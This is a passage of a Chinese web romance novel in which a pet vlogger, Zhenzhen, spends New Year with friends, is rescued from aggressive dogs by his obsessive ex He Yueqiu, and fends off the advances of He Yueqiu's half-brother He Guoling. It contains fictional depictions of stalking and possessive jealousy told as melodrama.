快吃完时,戴维打来视频电话,一接通就是他那标志性的大嗓门,一连说了好多吉祥话,还把老家的大黄也介绍给大家认识。阿曼达跟他聊天,喊一句戴维,他旁边的表弟就跟着应一声李佳航,气得戴维一直说请叫他英文名,吵吵闹闹的逗得甄甄又有点破涕为笑。 吃完饭,白芳和阿曼达负责洗碗,甄甄去给大家洗了很多水果,方寸行一个人在院子里默不作声地堆了两个雪人。 他看着和自己面对面的雪人,想了想,把脸上低度数的眼镜摘了下来,戴到雪人脸上,顿时多出几分他那种毒舌又刻薄的神韵。 而另外一个紧紧挨着的雪人,他捏了两只下垂的小狗耳朵,整个呆呆地靠着眼镜雪人。 方寸行非常满意地欣赏了半天。 “方老板,进来吃水果!” 听到甄甄叫他,才不舍地转身进屋。 贺越邱听着院子里传出来的男男女女的欢声笑语,没有敢靠得太近。 透过院门上下的缝隙,他勉强能够看到客厅那扇落地窗后的场景,甄甄和他的朋友们在玩乌龟牌,谁输了就在脸上画一只乌龟。 贺越邱的视角正好能够看见甄甄的侧面,甄甄不怎么会打牌,总是输,被拉着画了好几个黑色小王八。 他觉得好可爱。 不能见到的时候,总幻想着哪怕只能远远地见一面也好,但当他真的得偿所愿之后,那颗永远也不会满足的贪心又叫嚣着想要更多。 比如现在,他嫉妒地看着屋里欢声笑语的几个人,扭曲地想那本来该是他的位置。 年夜饭应该是他和甄甄吃,雪人应该是他和甄甄堆,但现在他只能像个小偷一样,偷窥着不再属于自己的幸福。 电视台的主持人热情洋溢地带领观众们迎接新年倒数,不断切换的画面中烟花齐放,一派好光景。而现实里,窗外也响起了烟花炸开的声音,吓得窝在沙发上打盹的小猫们落荒而逃。 甄甄顿时睁大眼睛,起身跑到落地窗前,手掌紧贴着玻璃,留下两个雪白带着雾气的手印,浅色的瞳孔被五光十色的烟花映亮,流淌着如星如辰的光芒。 白芳和阿曼达也都走过来欣赏:“城里不是禁烟花爆竹吗?谁胆子这么大,还敢放这么大规格的烟花。” “得花不少钱吧,真漂亮啊,多半是那些小年轻哄女朋友放的。” 方寸行没走近,比起浪漫的烟花,他更关注院子里那个被人为破坏的眼镜雪人。 甄甄沉浸在绚烂的景色里,恰逢耳边传来“3、2、1——0”的倒数,一句激情澎湃的“新年快乐”,新的一年就在一朵又一朵绽开的烟花中到来了。 甄甄在心里默念着除夕除夕,辞旧迎新。 过去不管有多少遗憾和痛苦的瞬间,今晚倒数钟声一过,新的一年里他肯定能事事顺心如意。 第67章 第 67 章 新年。 甄甄一早就醒了。 今天是大年初一, 他一手拿着手机拍摄,一手把提前准备好的冻干小红包挨个发放给家里的小猫小狗。 柯基伸着黑色湿润的圆鼻头嗅嗅,高兴地甩动着肥美的爱心臀, 等主人给出了可以进食的信号才开始吃。 小猫们全部围上来, 吃得吧唧吧唧, 三花还带着一些野性, 闻到好吃的第一反应是叼起来跑到无人的角落里才开始吃。 甄甄搬来新家两个多月捡了十来只流浪猫狗, 大多都是幼崽,被他精心照顾一段时间后都从面黄肌肉的小骷髅变成了鸡翅包饭,上镜效果特别可爱,挤在一起跟地上长出来一堆又一堆的毛绒绒似的。 甄甄剪视频的时候和这么多萌物朝夕相对, 对镜头的恐惧感减轻了很多, 至少不再像他刚出院那会儿一样严重, 就算在街上看到有谁拿出手机要拍照录像, 只要不是刻意对着他的方向,他也不会表现得很应激。 他现在不需要上班,每天都有很多空闲时间, 除了照顾家里这些小家伙之外就只需要拍视频和剪视频。他做事又很专注认真,当天拍的视频当天就能把素材全都剪辑好上传, 比一些只需要拍十几秒怼脸视频的颜值博主更新得还勤快,积攒的粉丝也就越来越多。 他的视频风格简单不夸张,定位就是真实记录, 除了小家伙们之外没有任何人声形象入镜, 堪称沉浸式体验。 谁能在吃饭上厕所坐地铁公司摸鱼的时候拒绝来上这么一集温馨又治愈的养宠vlog呢?只需要付出一个小红心就能享受到无痛不麻烦的云养宠体验,还能有一种共同参与救助流浪猫狗的体验感,所以哪怕甄甄的视频没有一般宠物博主花里胡哨的表演剧情,他的视频完播率也很高。 而且他的观众不像其他博主的观众一样, 看到视频里有广告就会不耐烦地跳过再点个不感兴趣。反而会催促主播快多接点广告,打心底希望甄甄能多赚点钱,比谁都担心他会因为没收入养不起这么多小猫小狗。 甄甄倒是一直都很随缘,他现在数据好起来了,每条视频都有稳定的十来万赞,一些救助视频能冲个五六十万赞,光靠扶持计划都能有一笔可观的收入,更别说后台塞满的各种各样的广告合作。 这个账号是他自己运营,能够看到的报价更直观——不考虑缺不缺德的话,当网红比当模特赚钱多了。 但那些广告都是些垃圾粮推广之类的,他经常在一些宠物博主那里看到,每次看到那些人一边说着自己多爱家里毛孩子一边天天换不同的垃圾粮带货,他都直翻白眼。所以哪怕这些pr给他的佣金抽成很高,几乎卖出去一袋就能分一半的利润,他也看都没看。 如果他做自媒体只是为了想赚快钱的话,戴维帮他运营那个颜值账号的时候,他就该天天往直播间一坐喊几句哥哥姐姐等着收礼物,或者直接在星火出道靠这张脸演点偶像剧拿天价片酬好了,还去辛辛苦苦地上班拍平面广告干什么。 甄甄从小就不缺来钱的方法,一个从小就被见过的人夸好看漂亮的小男生,太知道自己这张脸值多少钱了。但他总是觉得太容易来的钱就算拿到手里,心里也不会踏实。 可能他把自己的想法说出去会遭到很多人嘲笑,讥讽他假清高、蠢货、有钱不赚之类的,可他还是觉得,正是因为他一直都坚持着这种想法,不贪图那份荣华富贵、纸醉金迷,他才能对着贺越邱说提分手就提分手。 甄甄发完视频,摸了摸趴在手边的三花,轻轻呼出一口气,他觉得现在的生活没什么不好的,虽然拒绝了更富裕的选择,但现在的每一天过得都很安定。 “叮——” 创作者后台跳出来一条最新消息,甄甄点进去,一看到那比以前每条广告邀请都高的报价,琥珀色的眼睛瞬间变成了金币形状。 一,二,……五……五个零! 甄甄捧着手机,整个人都愣在那儿,被揉得正呼噜呼噜叫的三花不高兴地拿脑袋拱拱那突然停下来的手。 这不对!今天是什么日子? 甄甄猛地放下手机,用力地搓了几把脸,把台历拿过来一看,哦大年初一,不对——应该是财神爷下凡的日子! 但他很快就把心底的激动压下去了,给这么多钱,肯定又是那些无良黑心商家! 甄甄赶紧关掉手机,反过来盖在茶几上,紧紧地闭上眼。 但几秒后,还是忍不住偷偷掀开一只眼皮,默念着我不会接垃圾广告,我就看一下,做贼心虚般翻开手机,戳进后台飞快一瞥。 嗯?不是什么网贷平台手机回收二手车垃圾粮? 甄甄好奇地查看了邀约详情,看完后眼睛一亮—— 是一家宠物公司的邀请! 加上pr后,她介绍说他们老板觉得现在国内宠物市场正在蓬勃发展,所以想投点钱尝试一下,初期打算和有一定粉丝黏性的宠物博主合作,推出一款平价的自动喂食器。 甄甄询问了产品价格和功能,方方面面都挺合适的,但也没马上就答应,只是提出来需要先试用测评一下再说。 pr回得很快,她很好说话,马上就要了甄甄的地址,说等快递公司一收年假就把样品寄出来。 聊完流程后都快中午了,甄甄揉揉眼睛,给pr小姐姐发去一句新年问候,大年初一还在上班,初创公司也太不容易了。 ——他倒是完全忘记自己也在加班这回事。 甄甄现在都还有点激动,他保持着同一个姿势坐了好久,柯基用三条腿蹦过来,被他弯下腰抱着脑袋蹭了蹭:“谢谢你们……” 他又看一眼落地窗外,是个艳阳高照的好天气,阳光把扫完雪的院子照得白花花、亮堂堂的,他在屋子里都感觉到一股暖洋洋的懒意。 甄甄站起来伸伸懒腰,拍了下柯基的肥屁股:“出去玩?” “汪!” 于是裹得像个雪球的少年牵着肥美的大黄狗推开了院门,嘎吱嘎吱地踩着一层薄薄的雪,逢人就笑眯眯地打招呼,互道一句新年快乐、恭喜发财。 贺越邱戴了口罩和眼镜,垂着头走路,保持着不远不近的距离,偶尔才抬起头,飞快又满足地看一眼前面的人。 甄甄脚步轻快,贺越邱知道他高兴的原因,也跟着高兴。 他知道自己招人厌烦,不敢再露面了,可他自始至终都觉得哪怕甄甄真的不需要,他把他伤得那么深,又怎么能真的什么都不做。该他还的,该他弥补的,想方设法,他都要尽力而为。 他会把自己能给的一切都捧上去,但永远不会让甄甄知道,不让他有任何心理负担。 或许甄甄讨厌的就是这一点?霸道,自私,专制……贺越邱想,他这些劣根性是打从娘胎里就带下来的,这么多年改也改不掉了。 况且,再不让他为这个人做点什么,他怕是真的就要疯了。 贺越邱余光看到甄甄转过拐角,要去他经常遛狗的地方了,就止住脚步,没有再跟着。 他没有忘记甄甄是怎么声嘶力竭地让他再也不要出现,牢牢记得那种心痛到极致、整个人仿佛被凌迟般的痛苦,而一次又一次噩梦中的重温,又让这股痛苦几乎已经形成了一种肌肉记忆。 不敢得意忘形。 不敢靠近咫尺。 贺越邱目光闪动,远远地目送,正准备转身回车上等甄甄回来,却突然听见几声尖利狂乱的狗吠,又是一声熟悉却充满恐惧的尖叫,脸色惊变,猛地转身冲过去! 两条龇牙咧嘴摆出攻击姿势的狼狗作势随时都要扑上来,甄甄紧紧攥住手里的牵引绳,眼中流露出本能地害怕,不断高声驱赶着:“走开!” 柯基比它们整个小了一圈,又只有三条腿,怕得浑身瑟瑟发抖,但仍旧挡在甄甄身前,喉咙里发出警告的咽呜声。 从巷子里出来后这就是一小片空地,周围很开阔,没有任何能拿来防身的东西,这会儿也不见有行人,甄甄怕柯基被咬,也怕自己被咬,吓得六神无主。 碰见疯狗他不敢撒腿就跑,和它们僵持着,一步步慢慢地后退,心里又急又怕,眼泪不由自主地就流下来了。 谁……有谁能来帮帮我? 左边那条狼狗似乎捕捉到一丝空隙,狂吠一声就张着恶臭的大嘴朝柯基冲了上来,右边那条也跟着扑上来,甄甄吓得僵直不能动,他不知道为什么,在这种瞬间想到的却是那个身强体壮的高大男人,他下意识地觉得如果是他,这两条狗肯定就不敢扑上来。 “滚!” 随着一声暴喝,贺越邱飞起一脚踹在狼狗肚子上,只听见惨叫一声,飞出去又落在雪地上。 甄甄愣住,怔怔地看向挡在自己面前的那道宽阔背影,还以为自己出现幻觉了,不然为什么心里一想,人就真的出现了? 但下一刻他就知道这不是幻觉,右边那条狼狗见状不扑柯基,改扑向他。 甄甄腿一软,摔倒在雪地上,那狗直朝着他脸咬过来,关键时刻是贺越邱伸手硬生生挡下来,“嘶”地倒抽了一口气,没被咬的手忍住剧痛掐住狗脖子,直到把它掐得没气松了嘴,才浑身软下来,倒在地上粗粗喘气。 甄甄猛地回过神,顾不上柯基,赶紧去拉贺越邱:“你过敏了!快起来,我送你去医院!” 贺越邱却推开他,人都快不清醒了,却硬是转身想离开,他心底的声音一直在催促: 快走,不能出现在甄甄面前,不能再惹他不开心…… 第68章 第 68 章 你会和他复合吗? 贺越邱不太记得发生什么事了。 他只觉得心脏跳得好快, 喉咙里好像有什么东西堵着,呼吸不进来新鲜空气,肺里的也吐不出去, 胸膛剧烈地起伏着。 眼睛也看不清, 只觉得天旋地转, 到处都是白茫茫一片。 呼、呼…… 他摇摇晃晃地, 支撑着自己别倒下, 他这是怎么了?好像以前也经历过同样的情况。旁边有人扶着自己,貌似很焦急地在呼喊着名字,这声音好耳熟,他很喜欢听。 不行—— 他不能再继续和这个人待在一块, 他得走, 赶紧走, 不然他又要讨厌自己了。 不能让他讨厌……别讨厌我…… 甄甄不知道为什么贺越邱好像很怕自己一样, 一个劲地想要摆脱他,嘴里还无意识地喃喃着什么。偏偏这个人又高又大,他根本就控制不住他, 好在他过敏严重,没一会儿就晕倒了, 也就安静下来。 等救护车来,又送贺越邱去医院,推进手术室里急救, 整个过程, 甄甄都还没有从那两条疯狗造成的惊吓中恢复过来。牵引绳其实早就在扶贺越邱的时候松开了,手却还保持着习惯性牵住的动作,紧紧半握着,眼神也有些发空。 柯基没有乱跑, 一路都跟着甄甄,现在趴在他脚边细微发抖。 直到同在这家医院的贺过岭接到消息赶过来,给甄甄接了杯热水,又好好安慰了一番,这一人一狗的情绪才慢慢稳定下来。 手术还没结束,贺过岭坐在甄甄旁边,问完详细经过,目光沉沉地看向手术室:“我哥怎么会出现在那儿?昨天除夕,我爸还给他打了电话,喊他回去过年。” 甄甄捧着热水,手心暖暖的,连带着整个人都舒服了些。他听贺过岭这么问,心底也生出个猜测,下意识便害怕又反感,可马上想到吓得最六神无主的时候贺越邱想也没想就冲了上来,这股排斥又被一点震惊和感动压了下去。 他的情绪短时间内反复变化,一时间五味杂陈。 “不管他是因为巧合还是……总之没有他的话,躺在手术室里的可能就是我和胖胖了。” 甄甄说完,很无奈地叹了口气。他本来不想再跟这个人有任何牵连,可偏偏他又救了自己,一时半会儿又要剪不断,理还乱了。 贺过岭藏在玻璃镜片后的眼睛没有太多情绪,他察觉到甄甄对这个话题的抗拒,就也不再提,只说:“放心,只是很普通的宠物毛发过敏,很快就会没事的。” 甄甄一想起来那两条狗狂吠的模样就发抖:“但是那犬牙那么尖利,而且主动攻击人的狗,会不会……” 哪怕是陌生人,为了救他被狗咬得那么狠,甄甄也会发自内心地替对方焦急担忧,何况是贺越邱。他再是恨他怨他,抛开一切私人感情,他们毕竟也认识了快五年,哪能做到真的狠心呢。 贺过岭和甄甄认识不久,但也清楚他的性格,安抚道:“冬天穿得厚,可能你看着吓人,但咬下去的伤口并没有那么深。也不用担心狂犬病,医生会给他打疫苗的,发现及时,这个阻断率基本是百分百。” 甄甄还是心慌,他怕贺越邱要是因为救自己出事,那他就彻底说不清了,哪怕出于责任心,他也不能不管这个人。 贺过岭也就没再多说,轻轻抚摸着他的背。 手术结束后,贺越邱被推进ICU观察,暂时没有生命危险。 贺过岭带甄甄去看过,确认没什么大碍后,又把他带到了自己的办公室。 这里要比医院走廊暖和,还有个专门用来休息的小单间,马尔济斯弟弟窝在被窝里呼呼大睡,听见动静后猛地一睁眼睛,翻身起来冲甄甄友好地摇尾巴。 柯基闻到同类的味道,激动得吐舌头,情不自禁地小声汪了一下,甄甄摸摸它,示意它安静。 床上的小狗见状有点吃醋,委屈地拿爪子刨了两下床单,甄甄无奈又好笑,走过去挠了挠它的下巴,这才发出满意的嘤呜声。 贺过岭从抽屉里抓出一把高档糖果递过去:“过年医院发的,吃点甜的对心情好。” “谢谢。”甄甄揣在兜里,但没吃。 “随便坐。” 甄甄看了看,抱着小狗坐到了小凳子上。 贺过岭扫了眼本来离他更近的床沿,知道对方是有分寸感,换个人他会很满意,但这会儿心底却有一点隐隐约约的不舒服。 礼貌很好,但礼貌同时也代表了生疏。 贺过岭不是很喜欢甄甄对他这么礼貌。 他们本质上其实不太熟悉,几句话就能聊完,还想再继续的话,贺过岭也只能拿贺越邱做话题:“看样子,我哥又知道你的住址了,你还会再继续搬家吗?” 甄甄摇头:“之前就我自己一个人,行李也不多,被他找到了说搬就能搬。现在我那儿养了这么多宠物,就算想搬,短时间内找不到合适的地方,也没那么容易就搬走。” 贺过岭捕捉到他话外的意思,沉吟道:“如果他继续骚扰你,你可以找我。” 甄甄想到上次在方寸行家里发生的事,这会儿又只有他们两个,还面对面离得这么近,脸一下子红了,害羞地低下头,半天才平复,小声道:“他肯定早就知道了,但我住了两个多月,除了今天也没发现他来过,也许只是巧合……” 贺过岭眼神微冷,没有谁比他更清楚这个同父异母的亲哥哥骨子里到底有多偏执,他看上的猎物,怎么可能说松口就松口。 他这话其实不该问,可他心里莫名很烦躁,一顺口就问出来了:“那他如果现在跟你提复合,你会答应吗?” 甄甄一愣,不明白贺过岭为什么要这样问,随即果断地否认:“不会。” “他不是救了你吗?也许你一感动就……” “谁救我,我都会感动的。对我好是对我好,不好是不好,我不会混淆的。”甄甄抬起头,看着贺过岭的眼睛,虽然没有多强大的气势和体格,但那双浅色的眼睛里总有种顽强,叫人很惊讶。看得太久,也会情不自禁地被吸引。 贺过岭就沉浸在这道温润却又坚强的眼神中,一时忘了自己想说什么。 甄甄察觉到他在走神,一开始还没觉得怎么,但见他一直盯着自己,心里慢慢就生出一种奇怪的感觉,正想找个理由离开,对面的人忽然就俯身凑近了很多。 甄甄吓得往后仰,不习惯他们离这么近:“贺医生,你——” 贺过岭的声音同时响起,打断了他:“那在你心里,我对你好吗?” “好……你帮了我很多。” “那你觉得……” 甄甄猛地站起来,把不明所以的小狗塞进贺过岭怀里,抓起胖胖的牵引绳,语速飞快道:“贺越邱一时半会儿还醒不过来,我也等不了他这么久,家里还有十来只猫等着喂,我就先走了。等他醒后,麻烦你跟他转达一下我的谢意,有空的话我会当面来致谢的。” 他说完就走,贺过岭都来不及留,也没打算要留—— 警惕心生出来的小狗,贸然把手伸过去,那是会被咬的。 贺过岭也不清楚他刚刚怎么会像迷了心窍一样,差点就要说出类似于告白的话。 也许是这种狭窄又私人的空间里两个人距离得太近,快速分泌的荷尔蒙产生了一些不该有的暧昧感,影响了他的判断;也许是那双眼睛太迷人,他见过太多它流泪时、开心时的模样? 贺过岭擅长一些理性的思考,他的性格或许天生有些缺陷,加上医生的职业看多了生离死别,外因内因加在一块儿,让他在很多时候都像是一个旁观者,并不能切身实际地体会到人群里那些悲欢离合的情感,也很少对什么人或事产生兴趣。落在不知内情的人眼里,他的情绪总是那么稳定,这也让他很受欢迎。 而甄甄作为这个一出现就打破他认知的存在,从他见到他在水里捞一条小狗把自己弄得一身湿开始,他就对他产生了一种浓厚的兴趣。 他原以为是因为看到他那个从不把任何人放在眼里、桀骜不驯又暴戾恣睢的兄长,却偏偏对一个长相精致漂亮得过头的少年那么在意,出于一些对什么样的人才能收服那么一个人的好奇,所以才总忍不住把目光放在甄甄身上。 这种好奇并不足以转化为喜欢,贺过岭不觉得自己会是对谁一见钟情的类型。 那是日久生情吗?好像也不算,他们根本没见过几面。 感情上的变化也许还是在他答应赴约那一天,没人知道他刚下手术台就看到那么一条消息的心情。 其实按最开始的计划,贺过岭应该立刻就答应,他的接近本来就抱着报复和抢夺的心意,能给贺越邱造成打击的机会可不多,人更是只有这一个。这份邀请正合他心意。 但他偏偏考虑了很久,就像他现在一样。 他当时特别诧异,因为他发现自己居然是从甄甄的角度在权衡,这种事一旦做了就回不去,他在替他分析这么做会导致的种种后果。 最后答应会赴约,也是站在甄甄的角度。他觉得他应该是很需要自己的帮助,如果不去,说不准会造成更严重的后果。 过程中看到一向高高在上的兄长那么痛苦绝望地哀求、谩骂,贺过岭真切地体会到报复这种事有多爽,不过更爽的是那具害怕到一直在发抖却又乖巧承受的身体。 他基本没对甄甄撒过谎,他讨厌身上的疤痕,把它们藏起来,阴暗不得见人。他当时脱衣服时捂住了身下人的眼睛,半开玩笑地让他不要看,因为它丑陋得连他自己都受不了。 同时又报复性地加重了箍在那截细腰上的力度,听到男生受不了似的抽气,贺过岭阴暗的欲望得到了完全的满足,不过下一秒,当他感受到那只细腻的手抚摸上那些疤痕时,他又完全愣住了。 他其实很害怕,瑟瑟地打着抖,但很听话地闭着眼,用只有他们两个人能听见的声音,很轻地问了一句,“那你现在还疼吗?” 他感觉到脸上长久戴着的那张面具好像像沙土一样在瞬间土崩瓦解,一种很陌生、让人下意识恐惧的情感逐渐萌芽,他突然就很后悔刚刚的恶劣行为,却又真正地兴奋起来。不再只是作为男人本能地冲动,而是一种想要填满的占有欲。 电光火石间,贺过岭明白了贺越邱为什么会发疯地喜欢他。 第69章 第 69 章 炫耀。 但甄甄在某些方面敏锐得像只揣崽的母兔, 哪怕只是风吹得大一点都会抖着尾巴飞快地躲回洞里,贺过岭才刚进行那么一点试探,就吓得他落荒而逃。 不过这种结果, 他倒也不意外就是了, 毕竟之前就被推开过一次, 还是对于男人而言那么耻辱地推开。 贺过岭都不知道甄甄究竟怎么敢真的让他停下来的, 他当时其实真的很生气, 很愤怒,满心都生出一种想把这胆大包天的小男生就这么按在床上,当着那两个人的面直接干/进去的冲动,想听他一声声承受不住后破碎的呻/吟, 再夹杂贺越邱痛苦绝望的嘶吼助兴。 但贺过岭终究还是压制住了这股邪念, 他当时离甄甄是最近的, 近到他的睫毛有多少根都能数得清清清楚楚, 却数不清他到底流了多少眼泪。他看着那双雨洗过似的眼睛,带着点幼兽天然的懵懂、害怕,和深深的忧郁、悲伤, 顿时什么肮脏扭曲的想法都没了。 这应该就是心疼吧?贺过岭觉得这些感情很奇妙,也很有趣, 他还挺想和甄甄发展某种类似于他和自己哥哥曾经发展过的关系。 他慢慢抬起头,嘴角噙着笑,镜片后的眼睛闪过夺目的光彩。 贺越邱当晚就醒了, 还残留的过敏症状让他很不好受, 连想坐起来都觉得浑身骨头疼。 他努力回忆着自己晕倒前的一切,眼底浮现出懊恼,甄甄肯定是认出来他了,说不定还很快就会推测出他这段时间都在他家附近, 知道他又固态萌发。 他没听他的话,会不会惹得他很生气,又要搬家?哪怕他知道不管搬到哪里去都会被找到,可这种表现出来的逃离的举动,对贺越邱而言,本身就是一种折磨。 贺越邱忍着剧痛坐起来,既后悔又不后悔,就算明知道自己只要冲出去就肯定会被发现继而被厌恶,可当时那种情况,他脑子里根本没有第二个想法,只有一个声音:不能让甄甄受到伤害! 哪怕会面临最可怕的后果,他也顾不了那么多! 贺越邱正胡乱想着,贺过岭一身医生打扮,推门而入。 几乎是一瞬间,贺越邱就收起了种种脆弱情绪,只用警惕又愤恨的眼神紧盯着对面那人,藏在被子下的双手紧紧握成拳,连指甲都慢慢嵌了进去。 “你来干什么?!” “做弟弟的知道哥哥就收治在自己工作的医院,哪能不来看看?”贺过岭挑眉笑笑,还特意拎起手里的果篮晃了晃。 “拿着你的东西滚出去,有多远滚多远!”贺越邱冷哼。 “这里也没外人,实话说,要不是甄甄临走前托我给你带几句话,我也没想来。” 贺越邱的态度立刻就变了,但不是因为贺过岭,而是因为他口中提到的那个人,仅仅只是一个名字,就能让这个在外呼风唤雨的贺总瞬间变得小心翼翼:“甄甄?他也来了医院?” 说来讽刺,明明以前骗人说这疼那疼就能轻轻松松地收获投怀送抱嘘寒问暖,那时还不觉得怎么样,现在仅仅却只是听说那个人跟着救护车来过医院,在手术室外等过自己,贺越邱都有种说不出的高兴和满足。 然而贺过岭的下一句话就打碎了贺越邱的美梦:“我觉得你还是不要抱有太多期待,谁都不是傻子,他那边一遇到危险,你立刻就能出现,这只能说明你还在持续骚扰行为。在明确说过让你不要再去打扰他的情况下,你觉得他会高兴吗?还是说你以为做了一次见义勇为的事,他就会感动得马上跟你复合?” 贺越邱才刚醒,受不了刺激,这时候眼睛都有点充血,像是在极力忍耐着什么。 半晌,他压下心底翻涌的情绪,冷冷道:“你又是哪里来的立场,跑到我面前耀武扬威地说这些话。” 贺过岭淡笑道:“实话实说而已。他让我告诉你,以后别再出现在他面前,他看了心烦。” 贺过岭当然没有放过贺越邱痛苦至极的神色,那原本因为还没说出口就被拒绝的焦躁和挫败有了更惨的对比后,他咽不下去的那口气现在也能咽下去了。 贺越邱心中一痛,人也有点恍惚,强撑着不让贺过岭再看更多的笑话,咬牙道:“关你屁事,滚,你才是最讨人嫌的那个。” 贺过岭挨骂了也不生气,颇有风度地把果篮放在床边桌上,离开时神态也镇定自若,仿佛它真的就只是单纯地来探望病人。 贺越邱死死地盯着门口,那扇门一关上,他便猛地挥手打翻了果篮,眼睛中长出根根红血丝。 他恨贺过岭,恨不得杀了他,那天的一幕幕全部刻在了他的骨头里,让他一想起来,就刺骨钻心般地疼! 甄甄……明明是只属于他的甄甄,却被另外的男人拥在怀里亲密,无论他怎么喊停,那刺眼的一幕都始终没有停止过。 愤怒,崩溃,恐惧……贺越邱从来没有那么清晰地感知到甄甄也许真的会离开自己。他曾经一次又一次地试探和验证,每次得到的答案都是那么让他满意,于是渐渐地得意忘形了。贺越邱一直都很矛盾,他一边以为甄甄只会属于自己,一边又总害怕会失去这个人。他自己也觉得那么做不对,否则怎么会在被戳破时那样地恼羞成怒。 但直到那一天之前,贺越邱都从未正视过自己带给甄甄的伤害。他不是真的不知道自己做了什么,相反,他太清楚了,可就是因为他知道这些事对甄甄打击会有多大,会导致多严重的后果,所以他本能地害怕去面对,不愿意承认自己有错,始终觉得还有重新开始的机会。可真的到了那一刻,当贺越邱失去甄甄后,他才终于意识到感情里没有谁可以做到真正地游刃有余。他从来都不是赢家,没有甄甄全心全意给出的爱,他根本什么都不算。 甚至连贺过岭都可以来嘲笑他,谁叫他这么蠢,亲手把最爱的人越推越远,到现在连想要弥补都没有机会。 不知不觉间,贺越邱泪流满面,抬手搭在眼睛上,悲恸地无声呢喃着甄甄的名字,悔恨和思念如潮水般涌来,一个巨浪便吞噬了他。 “总觉得好像有谁在叫我……” 甄甄白天受了那么大惊吓,哪怕这会儿都快睡了,精神也还是有些恍惚。他轻轻摇摇头,给柯基把爪子擦干净后抱到床上。 平常除了小猫,他是不让狗子上床的,但柯基今天也受了不小的惊吓,一直都在发抖,他觉得可以小小破例一下。 柯基钻到甄甄被窝里很兴奋,来来回回刨了好几遍,直到被打了下屁股才终于安安分分地躺在主人身边,嗅着安心的味道闭眼睡了。 甄甄却有点睡不着,他一闭上眼,想到的就是跌到地上被狗扑过来时突然出现、挡在自己面前的高大背影。 翻了个身,画面又变成狭小的休息室里挨得极近的两个人。 旁边柯基在打鼾,声音大得像极了糙汉。 甄甄愁得睁开眼,入目是一片光秃秃的雪白的天花板。 贺过岭其实什么都还没来得及说,但他已经被方寸行告白过一次,对这种隐隐暧昧的氛围如惊弓之鸟,一丁点儿不对劲都能够察觉。 ——当然,也有可能一切都只是自己想多了,贺医生根本就没那个意思。 但甄甄不敢赌,他未来可能不会再接受新的感情,也可能很快就会遇到合适的人,是谁都行,唯独不能是贺过岭。 抛开他们是同父异母的亲兄弟不谈,光是那张脸,甄甄就无法面对,他们长得那么像,也就是气质不一样,他经常在看着贺过岭的时候会联想到那个他不愿意想起的人。 要是他真的答应了贺过岭,以后朝夕相处,他恐怕自己都分不清楚到底是在看谁。他心里明镜似的,他不喜欢贺过岭,如果稀里糊涂地就答应在一起,这对贺过岭而言不公平。 而且,不管现在闹得多难堪,他以前答应过贺越邱,不会和他不喜欢的家人过多接触。贺越邱是个满口谎言的人,但他不是,他答应过的事就一定会尽力做到。 想到贺越邱……甄甄眼神暗了暗。 他最开始确实被吓得不轻,也就没往深了想,后来情绪慢慢平复后,他就意识到贺越邱能这么快出现,多半是又找到了他住的地方,说不定都一路都在跟着。 按理说,他应该很生气的,他说过无数次不想再看见他。偏偏他记得当时这人过敏发作人都快死了,还惦记着要赶紧离开,就怕惹来他的不快。 甄甄当时的心情就很复杂,现在更是。 他能感觉到这次贺越邱和以前都不一样,没有咄咄逼人,也没有死缠烂打。 所以他才纠结明天到底要不要去医院探望一下病人,不管怎么说,贺越邱救了自己,于情于理他都应该去看看的。 唉。 “先睡吧。” 甄甄叹出一口气,拉上被子。 半晌,又睁开眼,气鼓鼓地猛推一把身旁柯基。 “胖胖!别打鼾了!你打得跟贺越邱睡我旁边一样!” 第70章 第 70 章 探望。 甄甄翻来覆去地想了一晚上, 最后还是决定去探望一下贺越邱。临出发前想到自己抱着柯基睡了一晚,身上狗味儿都快腌入味儿了,怕本来就因为过敏送去急救的贺越邱雪上加霜, 又里里外外洗得干干净净才出门。 去医院的路上, 甄甄坐在出租车里想, 他和贺越邱是不是命中注定不合适, 他这么喜欢小猫小狗等一切可爱的小动物, 偏偏贺越邱就对宠物毛发过敏,这不是就跟一对夫妻,妻子特别想要孩子,丈夫却没有生育能力一样吗? 怪不得他跟贺越邱日子过不下去! 甄甄撑着下巴, 脸颊挤出一点肉, 皱眉叹了口气。 到医院后, 他还没找到贺越邱的病房号, 贺过岭倒是闻声先过来了,仍旧是医师服都穿得规规矩矩、笑容如沐春风的模样,看见他也没有任何别扭, 如往常一样打招呼聊天,就好像昨天什么事都没发生过一样—— 也确实没发生。甄甄没有让它来得及发生。 贺过岭看上去是没什么, 甄甄和他并排走在一起,却总觉得比以前相处时多出几分尴尬,回应他时也显得有几分勉强。 贺过岭自然也看出来了, 但没点破, 告白被打断也有好处,那些话都没说出口,自然也就没办法拒绝,只要没有明确的拒绝, 那就还能慢慢找机会。 甄甄看他们离得好像越来越近,忙往前几步把距离拉开,做出还有正事的样子:“贺越邱情况怎么样?现在允许探望了吗?” 镜光一闪,贺过岭眼含笑意,不紧不慢道:“你昨天刚走没多久他就醒了,就是普通的过敏,没你想得那么严重。” 甄甄放心不少,贺越邱要真是因为救他有个三长两短的,那才真理不清了。 贺过岭一直陪他到病房门口才停下脚步,甄甄下意识地问了句:“你不进去看看吗?” 就只见斯文和气的青年敛了笑意,语气中带着几分无奈:“你忘了?我哥讨厌我,恨不得永远都不用再见到我。我要是跟着进去,他只会让我滚。他毕竟是个病人,不能受刺激,干脆顺着他吧。” 他这么一提,甄甄才想起来这两兄弟之间跟有血海深仇似的,尤其贺越邱像个斗牛,一提到家里人就容易急眼发病,对比自己小的亲弟弟也能下得去狠手。 这样想着,甄甄容易心软的毛病又犯了:“这也不怪你,是姓贺的自己犯轴。” 贺过岭闻言笑笑,落在甄甄眼里,像是很勉强。 甄甄给贺越邱的累累恶行又记了一笔。 他推门而入的时候,贺越邱正半靠在病床上远程办公,一脸专注认真,听见动静后才心烦地抬起头,一句“不是说了别来打扰我”卡在喉咙里,让他半天都说不出来话。 他像个木头一样,愣愣地一点动作都不敢有,就只是这么看着那个人一步步向自己走近,如同梦里出现过的无数次那样。 这是幻觉吧? 贺越邱呼吸声越来越沉重,胸口隐隐有些喘不过气的闷痛,他感觉自己好像又过敏了一样,还是说他快死了,在临死前做了这么一个美梦? 如果死亡能带来甄甄,那他愿意死。 甄甄有点忍俊不禁,他怎么能想到,有朝一日居然会在贺越邱那张野性又张狂的脸上看到这么傻的表情,好像对自己的出现很不可思议一样。 他都进来这么久了,还是睁大了眼一副震惊得说不出话的样子,有必要吗? 甄甄忽然又不是很高兴了,面无表情地拉来根凳子在贺越邱对面坐下,看他实在不像会主动说话的样子,好像自己动一下他的眼睛才会跟着动一下,只能主动道:“你没必要吧,还是说我不应该出现在这里?” 还能听到声音! 